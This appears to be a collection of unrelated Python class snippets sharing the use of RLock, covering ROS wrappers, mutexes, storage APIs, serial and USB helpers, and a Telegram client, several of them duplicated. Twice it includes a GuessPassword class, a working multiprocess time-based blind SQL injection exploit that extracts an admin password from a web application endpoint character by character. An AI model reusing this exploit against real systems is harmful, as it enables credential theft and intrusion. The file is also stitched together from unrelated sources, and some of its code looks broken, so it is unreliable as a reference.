class FramesPerSecond(object):
"""FPS counter that can be shared among the processes as it uses shared array to keep the history
of events rather than deque.
"""
def __init__(self, maxlen: int = 100, timeframe: float = 10.0):
assert maxlen > 0
self.__lock = RLock()
self.__timestamps = Array(Cell, [(0.0, 0.0)] * maxlen,
lock=self.__lock)
self.__index = Value('i', 0, lock=self.__lock)
self.__start = Value('i', 0, lock=self.__lock)
self.__length = Value('i', 0, lock=self.__lock)
self.__maxlen = maxlen
self.__timeframe = timeframe
def __call__(self, value=None):
self.__lock.acquire()
try:
now = time()
if value is not None:
self.__timestamps[self.__index.value] = (now, value)
self.__increment(self.__index, self.__maxlen)
if self.__length.value < self.__maxlen:
self.__length.value = self.__length.value + 1
if self.__length.value == self.__maxlen:
self.__increment(self.__start, self.__maxlen)
while self.__length.value > 0 and \
self.__timestamps[self.__start.value].time + self.__timeframe < now:
self.__timestamps[self.__start.value] = (0, 0)
if self.__length.value < self.__maxlen:
self.__increment(self.__start, self.__maxlen)
self.__length.value = self.__length.value - 1
if self.__length.value > 0:
return self._calculate(self.__timestamps, self.__index.value,
self.__start.value, self.__length.value,
self.__maxlen)
else:
assert self.__start.value == self.__index.value, \
"start {} != index {}".format(self.__start.value, self.__index.value)
return 0.0
finally:
self.__lock.release()
@staticmethod
def __increment(value, maxlen):
value.value = value.value + 1
if value.value >= maxlen:
value.value = 0
def _calculate(self, timestamps, index, start, length, maxlen):
try:
time_diff = timestamps[index - 1].time - timestamps[start].time
return length / time_diff
except ZeroDivisionError:
return 0.0
class ROSMulti(object):
""" Experimental ros interface wrapping the complexities of communicating with multiple ros masters """
""" Creates a new process, configured with the appropriate variables and uses pipes to relay data """
""" to and from the current process. The hope is to stablise this to the point that it can """
""" replace direct calls to rosHelper, allowing for communication and control of multiple robots """
""" from the same top level process. """
def __init__(self,
version=None,
packagePath=None,
packageName=None,
rosMaster=None,
overlayPath=None):
localPipe, remotePipe = Pipe()
self._pipe = localPipe
self._rosRemote = _RosMulti(version, rosMaster, overlayPath,
remotePipe)
self._rosRemote.start()
self._pipeLock = RLock()
def __del__(self):
self._pipe.close()
def getSingleMessage(self, topic, retryOnFailure=1, timeout=None):
msg = Message('getSingleMessage', {
'topic': topic,
'retryOnFailure': retryOnFailure,
'timeout': timeout
})
return self._send(msg)
def getTopics(self, baseFilter='', exactMatch=False):
msg = Message('getTopics', {
'baseFilter': baseFilter,
'exactMatch': exactMatch
})
return self._send(msg)
def getMessageType(self, topic):
msg = Message('getMessageType', {'topic': topic})
return self._send(msg)
def getParam(self, paramName):
msg = Message('getParam', {'paramName': paramName})
return self._send(msg)
def _send(self, msg):
self._pipeLock.acquire()
try:
self._pipe.send(msg)
try:
ret = self._pipe.recv()
except EOFError:
return None
if type(ret) == Exception:
raise ret
else:
return ret
finally:
self._pipeLock.release()
class MLock:
def __init__(self):
self.lock = Lock()
self.rlock = RLock()
def _acquire(self): # 需要添加对锁获取次数的判断
self.lock.acquire()
def _release(self):
self.lock.release()
def _rlacquire(self):
try:
self.rlock.acquire()
except Exception as e:
printlog.err(e)
finally:
pass
def _rlrelase(self):
try:
self.rlock.release()
except Exception as e:
printlog.err(e)
finally:
pass
class GuessPassword(object):
def __init__(self, passwd_length, processes=6, timeout=3):
self.result = Manager().dict()
self.stop_flag = Manager().list()
self.worker_list = []
self.processes = processes
self.timeout = timeout
self.queue = Queue()
self.lock = RLock()
self.cookie = {'_SERVER': ''}
self.passwd_length = passwd_length
self.url = "http://localhost/general/document/index.php/send/approve/finish"
self.payload = "1) and char(@`'`) union select if(ord(mid(PASSWORD,{position},1))={guess_char},sleep(4),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)"
self.stop_flag.append(False) # 这里不能写成 self.stop_flag[0] = False, 否则会提示 indexOutRange
for _ in range(1, self.passwd_length):
self.queue.put(_)
def exploit(self):
while not self.queue.empty() and not self.stop_flag[0]:
passwd_position = self.queue.get()
for _guess_char in range(33, 128):
payload = self.payload.format(position=passwd_position, guess_char=_guess_char)
exp_data = {'sid': payload}
try:
res = requests.post(self.url, data=exp_data, cookies=self.cookie, timeout=self.timeout)
except requests.ReadTimeout:
self.lock.acquire()
self.result[passwd_position] = chr(_guess_char)
print "Data %dth: %s" % (passwd_position, self.result[passwd_position])
self.lock.release()
break
def run(self):
for _ in range(self.processes):
_worker = Process(target=self.exploit)
# _worker.daemon = True
_worker.start()
try:
while len(
multiprocessing.active_children()) > 2: # 为什么不是大于0呢， 当所有工作子进程都结束之后，还有两个子进程在运行，那就是两个Manager 子进程（用于多进程共享数据）；multiprocessing.active_children() 返回的是当前活动进程对象的list
# self.lock.acquire()
# print len(multiprocessing.active_children())
# self.lock.release()
time.sleep(1)
except KeyboardInterrupt:
self.lock.acquire()
print 'wait for all subprocess stop......'
self.stop_flag[0] = True
self.lock.release()
else:
print self.result
print 'finish'
class ChannelMutex(object):
def __init__(self):
self.reader_mutex = RLock()
self.writer_mutex = os.name != 'nt' and RLock() or None
self.acquire = self._make_acquire_method()
self.release = self._make_release_method()
def __getstate__(self):
return self.reader_mutex, self.writer_mutex
def __setstate__(self, state):
self.reader_mutex, self.writer_mutex = state
self.acquire = self._make_acquire_method()
self.release = self._make_release_method()
def __enter__(self):
self.acquire()
return self
def __exit__(self, *_):
self.release()
def _make_acquire_method(self):
def unix_acquire():
self.reader_mutex.acquire()
self.writer_mutex.acquire()
def windows_acquire():
self.reader_mutex.acquire()
return os.name != 'nt' and unix_acquire or windows_acquire
def _make_release_method(self):
def unix_release():
self.reader_mutex.release()
self.writer_mutex.release()
def windows_release():
self.reader_mutex.release()
return os.name != 'nt' and unix_release or windows_release
@property
@contextmanager
def reader(self):
with self.reader_mutex:
yield self
@property
@contextmanager
def writer(self):
with self.writer_mutex:
yield self
class ROS(object):
def __init__(self,
version=None,
packagePath=None,
packageName=None,
rosMaster=None,
overlayPath=None):
localPipe, remotePipe = Pipe()
self._pipe = localPipe
self._rosRemote = _RosMulti(version, rosMaster, overlayPath,
remotePipe)
self._rosRemote.start()
self._pipeLock = RLock()
def __del__(self):
self._pipe.close()
def getSingleMessage(self, topic, retryOnFailure=1, timeout=None):
msg = Message('getSingleMessage', {
'topic': topic,
'retryOnFailure': retryOnFailure,
'timeout': timeout
})
return self._send(msg)
def getTopics(self, baseFilter='', exactMatch=False):
msg = Message('getTopics', {
'baseFilter': baseFilter,
'exactMatch': exactMatch
})
return self._send(msg)
def getMessageType(self, topic):
msg = Message('getMessageType', {'topic': topic})
return self._send(msg)
def _send(self, msg):
self._pipeLock.acquire()
try:
self._pipe.send(msg)
try:
ret = self._pipe.recv()
except EOFError:
return None
if type(ret) == Exception:
raise ret
else:
return ret
finally:
self._pipeLock.release()
class ROSMulti(object):
""" Experimental ros interface wrapping the complexities of communicating with multiple ros masters """
""" Creates a new process, configured with the appropriate variables and uses pipes to relay data """
""" to and from the current process. The hope is to stablise this to the point that it can """
""" replace direct calls to rosHelper, allowing for communication and control of multiple robots """
""" from the same top level process. """
def __init__(self, version=None, packagePath=None, packageName=None, rosMaster=None, overlayPath=None):
localPipe, remotePipe = Pipe()
self._pipe = localPipe
self._rosRemote = _RosMulti(version, rosMaster, overlayPath, remotePipe)
self._rosRemote.start()
self._pipeLock = RLock()
def __del__(self):
self._pipe.close()
def getSingleMessage(self, topic, retryOnFailure=1, timeout=None):
msg = Message('getSingleMessage', {'topic':topic, 'retryOnFailure':retryOnFailure, 'timeout':timeout})
return self._send(msg)
def getTopics(self, baseFilter='', exactMatch=False):
msg = Message('getTopics', {'baseFilter':baseFilter, 'exactMatch':exactMatch})
return self._send(msg)
def getMessageType(self, topic):
msg = Message('getMessageType', {'topic':topic})
return self._send(msg)
def getParam(self, paramName):
msg = Message('getParam', {'paramName': paramName})
return self._send(msg)
def _send(self, msg):
self._pipeLock.acquire()
try:
self._pipe.send(msg)
try:
ret = self._pipe.recv()
except EOFError:
return None
if type(ret) == Exception:
raise ret
else:
return ret
finally:
self._pipeLock.release()
class PhyMessage(Message):
#hid message type
(MSG_HID_RAW_DATA, MSG_HID_SIMULATED) = range(600, 602)
HID_DEVICE = 'HID Device'
def __init__(self, *args, **kwargs):
super(PhyMessage, self).__init__(PhyMessage.HID_DEVICE, *args,
**kwargs)
self.report_lock = RLock()
def send(self):
#print("PhyMessage send")
self.report_lock.acquire()
result = super(PhyMessage, self).send()
self.report_lock.release()
return result
class BaseFileSystemDriver(Driver):
def __init__(self, *args, **kwargs):
super(BaseFileSystemDriver, self).__init__(*args, **kwargs)
self._lock = RLock()
def connect(self):
self._lock.acquire()
def disconnect(self):
self._lock.release()
def __getstate__(self):
obj_dict = super(BaseFileSystemDriver, self).__getstate__()
del obj_dict['_lock']
return obj_dict
def __setstate__(self, obj_dict):
super(BaseFileSystemDriver, self).__setstate__(obj_dict)
vars(self).update(_lock=RLock(), **obj_dict)
class SafeWatchedFileHandler(WatchedFileHandler):
def __init__(self, filename, mode='a', encoding=None, delay=0):
WatchedFileHandler.__init__(self, filename, mode, encoding, delay)
self._lock = RLock()
def close(self):
self._lock.acquire(timeout=2)
try:
WatchedFileHandler.close(self)
finally:
self._lock.release()
def emit(self, record):
self._lock.acquire(timeout=2)
try:
WatchedFileHandler.emit(self, record)
finally:
self._lock.release()
class SafeWatchedFileHandler(WatchedFileHandler):
def __init__(self, filename, mode="a", encoding=None, delay=0):
WatchedFileHandler.__init__(self, filename, mode, encoding, delay)
self._lock = RLock()
def close(self):
self._lock.acquire(timeout=2)
try:
WatchedFileHandler.close(self)
finally:
self._lock.release()
def emit(self, record):
self._lock.acquire(timeout=2)
try:
WatchedFileHandler.emit(self, record)
finally:
self._lock.release()
class AtomicInt:
'''
An atomic integer class. All operations are thread safe.
'''
def __init__(self, value=0):
self.value = value
self.lock = RLock()
def set(self, value):
self.lock.acquire()
self.value = value
self.lock.release()
def addAndGet(self, value):
self.lock.acquire()
self.value += value
val = self.value
self.lock.release()
return val
def get(self):
self.lock.acquire()
val = self.value
self.lock.release()
return val
class ROS(object):
def __init__(self, version=None, packagePath=None, packageName=None, rosMaster=None, overlayPath=None):
localPipe, remotePipe = Pipe()
self._pipe = localPipe
self._rosRemote = _RosMulti(version, rosMaster, overlayPath, remotePipe)
self._rosRemote.start()
self._pipeLock = RLock()
def __del__(self):
self._pipe.close()
def getSingleMessage(self, topic, retryOnFailure=1, timeout=None):
msg = Message('getSingleMessage', {'topic':topic, 'retryOnFailure':retryOnFailure, 'timeout':timeout})
return self._send(msg)
def getTopics(self, baseFilter='', exactMatch=False):
msg = Message('getTopics', {'baseFilter':baseFilter, 'exactMatch':exactMatch})
return self._send(msg)
def getMessageType(self, topic):
msg = Message('getMessageType', {'topic':topic})
return self._send(msg)
def _send(self, msg):
self._pipeLock.acquire()
try:
self._pipe.send(msg)
try:
ret = self._pipe.recv()
except EOFError:
return None
if type(ret) == Exception:
raise ret
else:
return ret
finally:
self._pipeLock.release()
class FileSystemResourceAPI(api.ResourceAPI):
"""
File system implementation of the storage resource API ("RAPI").
"""
def __init__(self, directory, **kwargs):
"""
:param directory: root dir for storage
"""
super(FileSystemResourceAPI, self).__init__(**kwargs)
self.directory = directory
self.base_path = os.path.join(self.directory, self.name)
self._join_path = partial(os.path.join, self.base_path)
self._lock = RLock()
@contextmanager
def connect(self):
"""
Establishes a connection and destroys it after use.
"""
try:
self._establish_connection()
yield self
except BaseException as e:
raise exceptions.StorageError(str(e))
finally:
self._destroy_connection()
def _establish_connection(self):
"""
Establishes a connection. Used in the ``connect`` context manager.
"""
self._lock.acquire()
def _destroy_connection(self):
"""
Destroys a connection. Used in the ``connect`` context manager.
"""
self._lock.release()
def __repr__(self):
return '{cls.__name__}(directory={self.directory})'.format(
cls=self.__class__, self=self)
def create(self, **kwargs):
"""
Creates a directory in by path. Tries to create the root directory as well.
:param name: path of directory
"""
try:
os.makedirs(self.directory)
except (OSError, IOError):
pass
try:
os.makedirs(self.base_path)
except (OSError, IOError):
pass
def read(self, entry_id, path, **_):
"""
Retrieves the contents of a file.
:param entry_id: entry ID
:param path: path to resource
:return: contents of the file
:rtype: bytes
"""
resource_relative_path = os.path.join(self.name, entry_id, path or '')
resource = os.path.join(self.directory, resource_relative_path)
if not os.path.exists(resource):
raise exceptions.StorageError(
"Resource {0} does not exist".format(resource_relative_path))
if not os.path.isfile(resource):
resources = os.listdir(resource)
if len(resources) != 1:
raise exceptions.StorageError(
'Failed to read {0}; Reading a directory is '
'only allowed when it contains a single resource'.format(
resource))
resource = os.path.join(resource, resources[0])
with open(resource, 'rb') as resource_file:
return resource_file.read()
def download(self, entry_id, destination, path=None, **_):
"""
Downloads a file or directory.
:param entry_id: entry ID
:param destination: download destination
:param path: path to download relative to the root of the entry (otherwise all)
"""
resource_relative_path = os.path.join(self.name, entry_id, path or '')
resource = os.path.join(self.directory, resource_relative_path)
if not os.path.exists(resource):
raise exceptions.StorageError(
"Resource {0} does not exist".format(resource_relative_path))
if os.path.isfile(resource):
shutil.copy2(resource, destination)
else:
dir_util.copy_tree(resource, destination) # pylint: disable=no-member
def upload(self, entry_id, source, path=None, **_):
"""
Uploads a file or directory.
:param entry_id: entry ID
:param source: source of the files to upload
:param path: the destination of the file/s relative to the entry root dir.
"""
resource_directory = os.path.join(self.directory, self.name, entry_id)
if not os.path.exists(resource_directory):
os.makedirs(resource_directory)
destination = os.path.join(resource_directory, path or '')
if os.path.isfile(source):
shutil.copy2(source, destination)
else:
dir_util.copy_tree(source, destination) # pylint: disable=no-member
def delete(self, entry_id, path=None, **_):
"""
Deletes a file or directory.
:param entry_id: entry ID
:param path: path to delete relative to the root of the entry (otherwise all)
"""
destination = os.path.join(self.directory, self.name, entry_id, path
or '')
if os.path.exists(destination):
if os.path.isfile(destination):
os.remove(destination)
else:
shutil.rmtree(destination)
return True
return False
class ChannelMutex:
def __init__(self):
self.reader_mutex = RLock()
self.writer_mutex = os.name != 'nt' and RLock() or None
self.acquire = self._make_acquire_method()
self.release = self._make_release_method()
def __getstate__(self):
return self.reader_mutex, self.writer_mutex
def __setstate__(self, state):
self.reader_mutex, self.writer_mutex = state
self.acquire = self._make_acquire_method()
self.release = self._make_release_method()
def __enter__(self):
if self.acquire():
return self
else:
raise ChannelError("Channel mutex time out")
def __exit__(self, *_):
self.release()
def _make_acquire_method(self):
def unix_acquire():
return (self.reader_mutex.acquire(timeout=LOCK_TIMEOUT)
and self.writer_mutex.acquire(timeout=LOCK_TIMEOUT))
def windows_acquire():
return self.reader_mutex.acquire(timeout=LOCK_TIMEOUT)
return os.name != 'nt' and unix_acquire or windows_acquire
def _make_release_method(self):
def unix_release():
self.reader_mutex.release()
self.writer_mutex.release()
def windows_release():
self.reader_mutex.release()
return os.name != 'nt' and unix_release or windows_release
@property
@contextmanager
def reader(self):
if self.reader_mutex.acquire(timeout=LOCK_TIMEOUT):
try:
yield self
finally:
self.reader_mutex.release()
else:
raise ChannelError("Channel mutex time out")
@property
@contextmanager
def writer(self):
if self.writer_mutex.acquire(timeout=LOCK_TIMEOUT):
try:
yield self
finally:
self.writer_mutex.release()
else:
raise ChannelError("Channel mutex time out")
class UsbCon():
"""
USBTMC BACKEND
A wrapper of the usbtmc library. The idea is that I can create an
abstraction layer so that in the future, I can write other backends
to support other os's. May need to make a pyvisa backend, for example.
"""
def __init__(self, idProduct=None, idVendor=None):
"""
"""
self.lock = RLock()
self.instr = self.connect(idProduct, idVendor)
print("Asking *IDN? returns: {}".format(self.ask("*IDN?")))
def connect(self, idProduct=None, idVendor=None):
"""
if either idProduct or idVendor are None, query the user for what to connect to.
"""
if idProduct is None or idVendor is None:
for dev in usbtmc.list_devices():
print("1: {} - {}".format(dev.manufacturer, dev.product))
dev_con = raw_input(
"Enter the number of the device you want to connect to: ")
dev_chosen = usbtmc.list_devices()[int(dev_con) - 1]
product_id = dev_chosen.idProduct
vendor_id = dev_chosen.idVendor
for dev in usbtmc.list_devices():
if dev.idProduct == product_id and dev.idVendor == vendor_id:
if dev.is_kernel_driver_active(0):
dev.detach_kernel_driver(0)
instr = usbtmc.Instrument(vendor_id, product_id)
return instr
def read(self, num=-1, encoding="utf-8"):
"""
Wrapping around the read method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.read(num, encoding)
self.lock.release()
return msg
def write(self, message, encoding="utf-8"):
"""
Wrapping around the write method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.write(message, encoding)
self.lock.release()
return msg
def ask(self, message, num=-1, encoding="utf-8"):
"""
Wrapping around the ask method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.ask(message, num, encoding)
self.lock.release()
return msg
def read_raw(self, num=-1):
"""
Wrapping around the read_raw method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.read_raw(num)
self.lock.release()
return msg
def ask_raw(self, msg, num=-1):
"""
Wrapping around the ask_raw method in usbtmc.Instrument
"""
self.lock.acquire()
msg = self.instr.ask_raw(msg, num)
self.lock.release()
return msg
class ChannelMutex:
def __init__(self):
self.reader_mutex = RLock()
self.writer_mutex = os.name != 'nt' and RLock() or None
self.acquire = self._make_acquire_method()
self.release = self._make_release_method()
def __getstate__(self):
return self.reader_mutex, self.writer_mutex
def __setstate__(self, state):
self.reader_mutex, self.writer_mutex = state
self.acquire = self._make_acquire_method()
self.release = self._make_release_method()
def __enter__(self):
if self.acquire():
return self
else:
raise ChannelError("Channel mutex time out")
def __exit__(self, *_):
self.release()
def _make_acquire_method(self):
def unix_acquire():
return (self.reader_mutex.acquire(timeout=LOCK_TIMEOUT) and
self.writer_mutex.acquire(timeout=LOCK_TIMEOUT))
def windows_acquire():
return self.reader_mutex.acquire(timeout=LOCK_TIMEOUT)
return os.name != 'nt' and unix_acquire or windows_acquire
def _make_release_method(self):
def unix_release():
self.reader_mutex.release()
self.writer_mutex.release()
def windows_release():
self.reader_mutex.release()
return os.name != 'nt' and unix_release or windows_release
@property
@contextmanager
def reader(self):
if self.reader_mutex.acquire(timeout=LOCK_TIMEOUT):
try:
yield self
finally:
self.reader_mutex.release()
else:
raise ChannelError("Channel mutex time out")
@property
@contextmanager
def writer(self):
if self.writer_mutex.acquire(timeout=LOCK_TIMEOUT):
try:
yield self
finally:
self.writer_mutex.release()
else:
raise ChannelError("Channel mutex time out")
class FileSystemResourceAPI(api.ResourceAPI):
"""
File system resource storage.
"""
def __init__(self, directory, **kwargs):
"""
File system implementation for storage api.
:param str directory: root dir for storage.
"""
super(FileSystemResourceAPI, self).__init__(**kwargs)
self.directory = directory
self.base_path = os.path.join(self.directory, self.name)
self._join_path = partial(os.path.join, self.base_path)
self._lock = RLock()
@contextmanager
def connect(self):
"""
Established a connection and destroys it after use.
:return:
"""
try:
self._establish_connection()
yield self
except BaseException as e:
raise exceptions.StorageError(str(e))
finally:
self._destroy_connection()
def _establish_connection(self):
"""
Establish a conenction. used in the 'connect' contextmanager.
:return:
"""
self._lock.acquire()
def _destroy_connection(self):
"""
Destroy a connection. used in the 'connect' contextmanager.
:return:
"""
self._lock.release()
def __repr__(self):
return '{cls.__name__}(directory={self.directory})'.format(
cls=self.__class__, self=self)
def create(self, **kwargs):
"""
Create directory in storage by path.
tries to create the root directory as well.
:param str name: path of file in storage.
"""
try:
os.makedirs(self.directory)
except (OSError, IOError):
pass
try:
os.makedirs(self.base_path)
except (OSError, IOError):
pass
def read(self, entry_id, path=None, **_):
"""
Retrieve the content of a file system storage resource.
:param str entry_type: the type of the entry.
:param str entry_id: the id of the entry.
:param str path: a path to a specific resource.
:return: the content of the file
:rtype: bytes
"""
resource_relative_path = os.path.join(self.name, entry_id, path or '')
resource = os.path.join(self.directory, resource_relative_path)
if not os.path.exists(resource):
raise exceptions.StorageError(
"Resource {0} does not exist".format(resource_relative_path))
if not os.path.isfile(resource):
resources = os.listdir(resource)
if len(resources) != 1:
raise exceptions.StorageError(
'No resource in path: {0}'.format(resource))
resource = os.path.join(resource, resources[0])
with open(resource, 'rb') as resource_file:
return resource_file.read()
def download(self, entry_id, destination, path=None, **_):
"""
Download a specific file or dir from the file system resource storage.
:param str entry_type: the name of the entry.
:param str entry_id: the id of the entry
:param str destination: the destination of the files.
:param str path: a path on the remote machine relative to the root of the entry.
"""
resource_relative_path = os.path.join(self.name, entry_id, path or '')
resource = os.path.join(self.directory, resource_relative_path)
if not os.path.exists(resource):
raise exceptions.StorageError(
"Resource {0} does not exist".format(resource_relative_path))
if os.path.isfile(resource):
shutil.copy2(resource, destination)
else:
dir_util.copy_tree(resource, destination) # pylint: disable=no-member
def upload(self, entry_id, source, path=None, **_):
"""
Uploads a specific file or dir to the file system resource storage.
:param str entry_type: the name of the entry.
:param str entry_id: the id of the entry
:param source: the source of the files to upload.
:param path: the destination of the file/s relative to the entry root dir.
"""
resource_directory = os.path.join(self.directory, self.name, entry_id)
if not os.path.exists(resource_directory):
os.makedirs(resource_directory)
destination = os.path.join(resource_directory, path or '')
if os.path.isfile(source):
shutil.copy2(source, destination)
else:
dir_util.copy_tree(source, destination) # pylint: disable=no-member
class Client(Thread):
_phone_lock = Lock()
_code_lock = Lock()
_pass_lock = Lock()
event_pass = Event()
def __init__(self, session):
super().__init__()
self._global_lock = RLock()
self._character = Character(session)
self._session = session
self._phone = ''
self._code = ''
self._pass = ''
self._tgClient = None
self._code_requested = False
self._session = session
self._phone_lock.acquire()
self._pass_lock.acquire()
self._code_lock.acquire()
self._need_pass = False
self._worker = None
self._module = None
self.event_pass.clear()
def set_phone(self, phone):
self._phone = phone
self._phone_lock.release()
def set_code(self, code):
self._code = code
self._code_lock.release()
def set_pass(self, password):
self._pass = password
self._pass_lock.release()
def set_opts(self, opts):
self._character.set_opts(opts)
def run(self):
self._thread_auth()
if self._character.config.module:
self._module = importlib.import_module(
'CWUnits.' + self._character.config.module)
self._worker = self._module.Module(self._tgClient, self._character)
self._worker.setName('Sender')
self._worker.start()
def _thread_auth(self):
with self._global_lock:
session = Session.try_load_or_create_new(self._session)
session.server_address = '149.154.167.50'
session.port = 443
session.device_model = platform.node()
session.system_version = platform.system()
session.app_version = TelegramClient.__version__
session.lang_code = 'en'
self._tgClient = TelegramClient(session, config.API_ID,
config.API_HASH)
self.connect()
while not self.authorised():
self._phone_lock.acquire()
self.code_request()
self._global_lock.acquire()
self._code_lock.acquire()
try:
self.login(self._code)
self._code_lock.release()
self.event_pass.set()
except SessionPasswordNeededError:
self._need_pass = True
self.event_pass.set()
self._pass_lock.acquire()
self.login(password=self._pass)
finally:
self._global_lock.release()
def pass_needed(self):
self.event_pass.wait()
self.event_pass.clear()
return self._need_pass
def get_session_name(self):
return self._session
def connect(self):
self._tgClient.connect()
def authorised(self):
self._global_lock.acquire()
try:
return self._tgClient.is_user_authorized(
) if self._tgClient else False
finally:
self._global_lock.release()
def code_request(self):
self._tgClient.send_code_request(self._phone)
self._code_requested = True
def login(self, code=None, password=None):
try:
if self._phone and self._code_requested:
if password:
res = self._tgClient.sign_in(password=password)
return res
res = self._tgClient.sign_in(self._phone, code)
return res
return 0
except SessionPasswordNeededError as e:
raise e
class RLock(Lock):
"""
A reentrant lock, functions in a similar way to threading.RLock in that it
can be acquired multiple times. When the corresponding number of release()
calls are made the lock will finally release the underlying file lock.
"""
def __init__(self,
filename,
mode='a',
timeout=DEFAULT_TIMEOUT,
check_interval=DEFAULT_CHECK_INTERVAL,
fail_when_locked=False,
flags=LOCK_METHOD):
super(RLock, self).__init__(filename, mode, timeout, check_interval,
fail_when_locked, flags)
self._acquire_count = 0
self._lock = ProcessRLock()
self._pid = os.getpid()
def acquire(self,
timeout=None,
check_interval=None,
fail_when_locked=None):
if self._lock:
if not self._lock.acquire(timeout=timeout):
# We got a timeout... reraising
raise exceptions.LockException()
# check if we need to recreate the file lock on another subprocess
if self._pid != os.getpid():
self._pid = os.getpid()
self._acquire_count = 0
if self.fh:
try:
portalocker.unlock(self.fh)
self.fh.close()
except:
pass
self.fh = None
if self._acquire_count >= 1:
fh = self.fh
else:
fh = super(RLock, self).acquire(timeout, check_interval,
fail_when_locked)
self._acquire_count += 1
return fh
def release(self):
if self._acquire_count == 0:
raise exceptions.LockException(
"Cannot release more times than acquired")
if self._acquire_count == 1:
super(RLock, self).release()
self._acquire_count -= 1
if self._lock:
self._lock.release()
def __del__(self):
self._lock = None
# try to remove the file when we are done
if not os.path.isfile(self.filename):
return
try:
self.acquire(timeout=0)
try:
os.unlink(self.filename)
removed = True
except Exception:
removed = False
self.release()
if not removed:
try:
os.unlink(self.filename)
except Exception:
pass
except Exception:
pass
class uart:
def __init__(self, port=1, baudrate=115200, log=False):
self.__keywords = []
self.monitor_string = None
self.__port = port
self.__serial = serial.serial_for_url(
"COM{num}".format(num=self.__port),
baudrate,
parity="N",
rtscts=False,
xonxoff=False,
timeout=1,
do_not_open=True,
)
self.__serial.open()
self.__serial_io = io.TextIOWrapper(io.BufferedRWPair(self.__serial, self.__serial))
self.__cmd_queue = Queue()
self.__rx_thread = threading.Thread(target=self.__read_thread, name="rx_thread")
self.__rx_thread.setDaemon(True)
self.__rx_thread.start()
self.__tx_thread = threading.Thread(target=self.__write_thread, name="tx_thread")
self.__tx_thread.setDaemon(True)
self.__tx_thread.start()
self.__mutex = RLock()
self.__log = log
self.__is_monitor_rx_enable = False
self.__echo_method = None
if log is True:
ltime = time.localtime(time.time())
logging.basicConfig(
filename="log_{mon}_{date}_{h}_{m}_{s}.txt".format(
mon=str(ltime.tm_mon).zfill(2),
date=str(ltime.tm_mday).zfill(2),
h=str(ltime.tm_hour).zfill(2),
m=str(ltime.tm_min).zfill(2),
s=str(ltime.tm_sec).zfill(2),
),
level=logging.DEBUG,
)
def SetEchoFunction(self, method):
self.__echo_method = method
def __read_thread(self):
while True:
data = self.__serial_io.readline()
if len(data):
# print(data)
if self.__echo_method is not None:
self.__echo_method(data)
if self.__log is True:
logging.info("[RX]" + str(data))
self.__monitor_rx_string_method(data)
def __write_thread(self):
while True:
if not self.__cmd_queue.empty():
send_data = self.__cmd_queue.get()
self.__serial_io.write(send_data)
self.__serial_io.flush()
if self.__log is True:
logging.info("[TX]" + str(send_data))
time.sleep(0.05)
def __monitor_rx_string_method(self, data):
self.__mutex.acquire()
if self.__is_monitor_rx_enable is True:
if self.__isMatchString(data) is True:
self.__is_monitor_rx_enable = False
self.__mutex.release()
def __isMatchString(self, data):
is_hit_string = False
for keyword in self.__keywords:
if re.search(keyword, data):
is_hit_string = True
break
return is_hit_string
def Send(self, content, wait_string_list=[], wait_string_timeout=0):
assert isinstance(content, str) is True, "content is not string"
assert type(wait_string_list) is list, "wait_string_list must be list"
if len(wait_string_list) > 0:
self._update_keywords(wait_string_list)
self.__cmd_queue.put(content)
start_time = time.time()
while self.__is_monitor_rx_enable is True:
if timeout is not 0:
if time.time() - start_time >= timeout:
break
if self.__is_monitor_rx_enable is True:
self.__mutex.acquire()
self.__is_monitor_rx_enable = False
self.__mutex.release()
return False
return True
else:
self.__cmd_queue.put(content)
return True
def Connect(self):
if self.__serial.isOpen() == False:
self.__serial.open()
def Disconnect(self):
self.__serial.close()
def _update_keywords(self, string_list):
self.__mutex.acquire()
self.__keyworks = string_list
self.__is_monitor_rx_enable = True
self.__mutex.release()
def WaitString(self, string_list, timeout=0):
assert type(string_list) is list, "string_list must be list"
assert len(string_list) > 0, "what string you want to wait"
assert self.__is_monitor_rx_enable is False, "__is_monitor_rx_enable is True"
start_time = time.time()
self._update_keywords()
while self.__is_monitor_rx_enable is True:
if timeout is not 0:
if time.time() - start_time >= timeout:
break
if self.__is_monitor_rx_enable is True:
self.__mutex.acquire()
self.__is_monitor_rx_enable = False
self.__mutex.release()
return False
return True
class GuessPassword(object):
def __init__(self, passwd_length, processes=6, timeout=3):
self.result = Manager().dict()
self.stop_flag = Manager().list()
self.worker_list = []
self.processes = processes
self.timeout = timeout
self.queue = Queue()
self.lock = RLock()
self.cookie = {'_SERVER': ''}
self.passwd_length = passwd_length
self.url = "http://localhost/general/document/index.php/send/approve/finish"
self.payload = "1) and char(@`'`) union select if(ord(mid(PASSWORD,{position},1))={guess_char},sleep(4),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)"
self.stop_flag.append(
False) # 这里不能写成 self.stop_flag[0] = False, 否则会提示 indexOutRange
for _ in range(1, self.passwd_length):
self.queue.put(_)
def exploit(self):
while not self.queue.empty() and not self.stop_flag[0]:
passwd_position = self.queue.get()
for _guess_char in range(33, 128):
payload = self.payload.format(position=passwd_position,
guess_char=_guess_char)
exp_data = {'sid': payload}
try:
res = requests.post(self.url,
data=exp_data,
cookies=self.cookie,
timeout=self.timeout)
except requests.ReadTimeout:
self.lock.acquire()
self.result[passwd_position] = chr(_guess_char)
print "Data %dth: %s" % (passwd_position,
self.result[passwd_position])
self.lock.release()
break
def run(self):
for _ in range(self.processes):
_worker = Process(target=self.exploit)
# _worker.daemon = True
_worker.start()
try:
while len(
multiprocessing.active_children()
) > 2: # 为什么不是大于0呢， 当所有工作子进程都结束之后，还有两个子进程在运行，那就是两个Manager 子进程（用于多进程共享数据）；multiprocessing.active_children() 返回的是当前活动进程对象的list
# self.lock.acquire()
# print len(multiprocessing.active_children())
# self.lock.release()
time.sleep(1)
except KeyboardInterrupt:
self.lock.acquire()
print 'wait for all subprocess stop......'
self.stop_flag[0] = True
self.lock.release()
else:
print self.result
print 'finish'
class SwarmNet(object):
"""
Класс для детерминированного параллельного поиска локального максимума
"""
def __init__(self, op, dx=1E-3):
"""
:param op: начальная точка поиска
:param dx: шаг по vec_param
"""
self.op = op
wchr0, self.fit_max = op.get_best(fit_too=True)
self.v0 = wchr0['vec_param']
self.s0 = wchr0['vec_struct']
self.ind_best = np.zeros_like(self.v0, dtype=np.int)
self.dx = dx
self.locker = RLock()
self.all_dict = {}
self.surf_p_heap = []
